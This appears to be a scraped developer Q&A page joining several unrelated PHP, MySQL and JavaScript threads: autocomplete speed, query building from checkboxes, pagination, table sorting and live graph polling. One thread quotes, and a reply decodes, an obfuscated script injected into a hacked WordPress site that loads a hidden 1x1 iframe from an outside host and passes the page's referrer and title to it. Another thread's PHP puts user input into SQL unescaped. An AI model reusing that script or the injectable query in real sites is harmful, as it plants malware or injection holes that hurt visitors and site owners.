Hi I have run into an issue. I have implemented jquerys famous autocomplete and I am creating a list (quite long) from the database to output into the autocomplete feild. But it is taking too long to find the correct value in list. Does anyone know a way I can speed this up??? Here is my jquery:
<script>
$(function() {function log( message ) {$( "#destId" ).val( message );}
$( "#destinations" ).autocomplete({
source: "destinos.php",
minLength: 2,
select: function( event, ui ) {
log( ui.item ?
"" + ui.item.id :
"" + this.value );}});});
</script>
And here is destinos.php:
//connect to database
include 'php/dbconn.php';
$term = trim(strip_tags($_GET['term']));//retrieve the search term that autocomplete sends
$qstring = "SELECT Destination as value, DestinationId as id FROM DestinationId WHERE Destination LIKE '%".$term."%'";
//query the database for entries containing the term
$result = mysql_query($qstring);
//loop through the retrieved values
while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
$row['value']=htmlentities(stripslashes($row['value']));
$row['id']=htmlentities(stripslashes($row['id']));
$row_set[] = $row;//build an array
}
echo json_encode($row_set);//format the array into json data
Any help would be greatly greatly appreciated!
You most likely need to speed up your database query. You'll have to do a couple of things to do that.
Make sure your Destination field has an index on it.
Unless you absolutely must match from the middle of the string, drop the leading % from your LIKE query to enable the index to be used. MySQL cannot effectively use the index with the leading wildcard.
If you must leave the leading % then set minLength to 3 in your jQuery. This will allow MySQL to use an optimizing algorithm on the pattern.
Source: http://dev.mysql.com/doc/refman/5.0/en/mysql-indexes.html
I would start off looking at the DB aspects.
First, you need to make sure you have an index on Destination.
Second, you ought to consider using a LIMIT, say 10 or 20 rows. In an autocomplete, in most cases you don't need that many results to display at one time. The match count will decrease as the user continues typing fairly quickly.
Third, you should use proper mysql escape on $term variable before querying with it.
The rest looks pretty straightforward.
Related
Some script kiddie hacked my wordpress website and inserted this code into every post_content in wp_posts:
<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script>
I want to remove it by SQL query (UPDATE xxx SET replace(...)) in phpmyadmin, but I have no luck with escaping the string.
is there any way/tool to correctly escape this code and remove it from the table? thx
if the data is same and at the start of a post or at the end of the post you can use substring function to single out your data from this garbage
update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1;
for more information see the manual
http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring
you can use position function to point out the starting of the garbage.
http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position
Just looked at the code and it appears to evaluate out to:-
(function()
{
var d=document;
var razmw=1;
var razmh=1;
var t=d.createElement('script');
var id=Math.floor(Math.random()*9999);
var src='http://needalogo.net/rotation/3wBsvV?';
src=src+'se_referrer='+document.referrer;
src=src+'&default_keyword='+document.title;
src=src+'&r='+id;
d.write('<iframe style="padding:0px;
border:none" src="'+src+'" width="'+razmw+'" height="'+razmh+'"></iframe>')
}
)();
which appears to be inserting an iframe (1px x 1px) with a source returned from some web page (with a few parameters passed). The URL is blocked by my firewall.
Is there a quick and elegant way of selecting one or more day(s) of week from Javascript checkbox, move it to PHP and get queries from SQL accordingly after processing, which boxes are checked, in PHP side-e.g. if I checked monday and wednesday, extract (dow from timestamp) = 1 or extract(dow from timestamp) = 3 should be added to my query string on the PHP end-
I had implemented a quick and dirty solution in C++/Qt before -in this question of mine:
Day(s) of week selection from QT checkbox to Postgresql
Then got an answer showing the shortest way to do it- and now I wonder if a similar way of such a short way is possible in PHP.
If the checkboxes are given, there aren't too many ways to implement this. Actually it's always the same: Read the values of the selected checkboxes and use them to build the query string.
Example (could be done easier with e.g. jQuery of course...):
var checkboxes = document.getElementById("checkboxes").getElementsByTagName("input"),
query = [];
for (var i = 0, l = checkboxes.length; i < l; ++i) {
// Get value of each selected checkbox and build the query string
if (checkboxes[i].checked) {
query.push("extract(dow from timestamp) = ", checkboxes[i].value, " or ");
}
}
if (query.length > 0) {
// Remove last "or"
query = query.slice(0, -1);
}
// Join "string builder" array to get the final query string
query = query.join("");
console.log(query);
DEMO (JSFiddle)
I don't quite understand though why you want JavaScript to build the string; SQL runs server-side, so why not just sending the values to the server and create the query string there?
I have a mysql query that retrieves all my topic results. I then have a pagination system where results are separated into pages and the query's limit #,# changes based on what page you are on.
What I want to do is put all those results into two separate div containers. I want 21 results on each page. The first 9 I will put in one div. The next 12 will go in the other. Does anyone know an efficient way to do this? Should I use two queries, or javascript, or another way? I am just looking for the best most efficient way to do this. Unfortunately the pagination system makes two queries difficult. Any suggestions highly appreciated.
$sql = "SELECT * FROM topics LIMIT ?,?";
$stmt2 = $conn->prepare($sql);
$result=$stmt2->execute(array(somenumber,somenumber2));
I don't see any reason why you can't do a single MySQL query and use JavaScript to sort the results. Understand that I don't understand here what your data is coming back looking like, so any example I provide will have to remain pretty agnostic in this regard.
I will, however, assert as an assumption that you have a JavaScript array of length 21 with some data that is the basis for your display.
Assuming that we're just talking about the first 9, and the last 12, the sorting code is as simple as:
// assume my_array is the array mentioned above
for (var i = 0; i < 9; i += 1) {
var html = code_to_transform_data_from_array(array[i]);
$('.div1').append($(html));
}
for (var i = 9; i < 21; i += 1) {
var html = code_to_transform_data_from_array_b(array[i]);
$('.div2').append($(html));
}
If your sorting condition is any more complicated, then you'd be better off with something like...
while (my_array.length > 0) {
var item = my_array.pop();
if (sorting_condition) {
$('.div1').append(f1(item));
}
else {
$('.div2').append(f2(item));
}
}
(In the second example, I became a lazy typist and assumed f1 and f2 to be complete transformation functions. sorting_condition is your criteria for determining in which bucket something goes.
Hope that sets you off on the right track.
I have a table in database that has 2 columns Name | Age, I display it in a HTML page.
I want to sort the table in HTML page based on a field when the user clicks on it.
I have a PHP function to do the sorting based on a field.
But after obtaining the rows in sorted order in PHP, I'm looking for ways by which I can update the HTML table without navigating away from the page.
You do not need to communicate between the client and server to do this, just sort the table on the client directly.
There is a jQuery plug-in for this that works quite well:
http://tablesorter.com/docs/
You can do sorting in javascript, without having to communicate with the server. For example, this code will sort a table based on the content of the Nth column:
function sortTable(table, column, skipHeader) {
// Stick each row into an array.
var rows = [];
for (var i = skipHeader ? 1 : 0; i < table.rows.length; i++) {
rows.push(table.rows[i]);
}
// Sort the array based on the innerText of the column'th cell in each row
rows.sort(function(a, b){
a = a.cells[column].innerText;
b = b.cells[column].innerText;
return a < b ? -1 : (b < a ? 1 : 0);
});
// Re-order the rows by removing/appending in the sort order
for (var i = 0; i < rows.length; i++) {
var row = rows[i];
var container = row.parentElement;
container.removeChild(row);
container.appendChild(row);
}
}
For example, to sort the first table in the document, on the first column, and skip the header row:
sortTable(document.getElementsByTagName('table')[0], 0, true);
Obviously you'll want to modify this to suit your own tastes, especially the sorting, but it's a lot simpler than having to post the data back to the server, which I think is what you're proposing.
Since others have covered the fact that client-side sorting would work just fine here, I'll just point you to the resource with which I've had the most sucess doing this kind of thing: Google Data Tables, part of their Visualization Library. Here are the deets on what you can do (spoiler: everything you want and more).
Here is a link to a javascript library to make your tables sortable using javascript instead of php. I've used it many times, it works great.
Javascript Sortable Tables by: Stuart Langridge
I'm trying to draw a real time graph as my mysql table is constantly being inserted with values, like a moving graph referenced from
http://kalanir.blogspot.com/2009/11/how-to-plot-moving-graphs-using-flot.html
The values actually come from a carbon dioxide sensor which updates the value of the table with co2 values with positions id. I changed her Math.Random to the code below:
<?php $result = mysql_query("SELECT * FROM node1 ORDER BY id DESC LIMIT 1")or die(mysql_error());?>
<?php $row = mysql_fetch_array( $result );?>
var j = "<?php echo $row['co2'];?>";
var next = "<?php echo $row['id'];?>";
for (var i = 0; i < this.xscale - 1; i++)
{
this.array[i] = [i,this.array[i+1][1]]; // (x,y)
}
this.array[this.xscale - 1] = [this.xscale - 1,j];
However, when i run this code, the first value changes, after which it remains constant, even though the last row of the table is being updated.
I heard it is because in php, the server is only polled once. Therefore i only get a constant reading of the first data. Is there any way in which i can make the graph update to the last value of the table? with ajax?
Thanks for your help
Yes, you can use Periodic refresh (Polling)
or
HTTP Streaming.
Note that both of these options can be quite bandwidth demanding.
you have to do some sort of polling. But even before you do that,
1. create a php file that retrieves all the important data from the db.
2. let that file echo/return that data in a formatted way.
3. have js function poll that file at intervals (a function that runs in setInterval() )
and yes.. there would be some bandwith issues but i think its manageable.